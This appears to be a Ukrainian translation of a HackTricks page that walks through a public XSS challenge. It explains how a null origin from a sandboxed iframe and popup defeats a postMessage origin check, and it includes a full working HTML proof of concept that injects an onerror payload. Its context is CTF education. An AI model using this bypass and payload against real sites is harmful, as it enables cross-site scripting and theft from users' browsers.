hacktricks/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md

73 lines
4.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Bypassing SOP with Iframes - 1
{{#include ../../banners/hacktricks-training.md}}
## Iframes in SOP-1
У цьому [**виклику**](https://github.com/terjanq/same-origin-xss), створеному [**NDevTK**](https://github.com/NDevTK) та [**Terjanq**](https://github.com/terjanq), вам потрібно експлуатувати XSS у закодованому
```javascript
const identifier = "4a600cd2d4f9aa1cfb5aa786"
onmessage = (e) => {
const data = e.data
if (e.origin !== window.origin && data.identifier !== identifier) return
if (data.type === "render") {
renderContainer.innerHTML = data.body
}
}
```
Основна проблема полягає в тому, що [**головна сторінка**](https://so-xss.terjanq.me) використовує DomPurify для відправки `data.body`, тому, щоб надіслати свої власні html дані до цього коду, вам потрібно **обійти** `e.origin !== window.origin`.
Давайте подивимося на рішення, яке вони пропонують.
### SOP обхід 1 (e.origin === null)
Коли `//example.org` вбудовано в **пісочницю iframe**, тоді **походження** сторінки буде **`null`**, тобто **`window.origin === null`**. Тож, просто вбудувавши iframe через `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`, ми можемо **примусити походження `null`**.
Якщо сторінка була б **вбудовуваною**, ви могли б обійти цю захист таким чином (можливо, також потрібно налаштувати cookies на `SameSite=None`).
### SOP обхід 2 (window.origin === null)
Менш відомий факт полягає в тому, що коли **значення пісочниці `allow-popups` встановлено**, тоді **відкритий спливаючий вікно** буде **успадковувати** всі **атрибути пісочниці**, якщо не встановлено `allow-popups-to-escape-sandbox`.\
Отже, відкриття **спливаючого вікна** з **null походження** зробить **`window.origin`** всередині спливаючого вікна також **`null`**.
### Рішення виклику
Отже, для цього виклику можна **створити** **iframe**, **відкрити спливаюче вікно** на сторінку з вразливим обробником коду XSS (`/iframe.php`), оскільки `window.origin === e.origin`, тому що обидва є `null`, можливо **надіслати payload, який експлуатує XSS**.
Цей **payload** отримає **ідентифікатор** і надішле **XSS** **назад на верхню сторінку** (сторінка, яка відкрила спливаюче вікно), **яка** **змінить місцезнаходження** на **вразливу** `/iframe.php`. Оскільки ідентифікатор відомий, не має значення, що умова `window.origin === e.origin` не задовольняється (пам'ятайте, походження - це **спливаюче вікно** з iframe, яке має **походження** **`null`**) тому що `data.identifier === identifier`. Тоді **XSS спрацює знову**, цього разу в правильному походженні.
```html
<body>
<script>
f = document.createElement("iframe")
// Needed flags
f.sandbox = "allow-scripts allow-popups allow-top-navigation"
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll("\n", " ")
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f)
</script>
</body>
```
{{#include ../../banners/hacktricks-training.md}}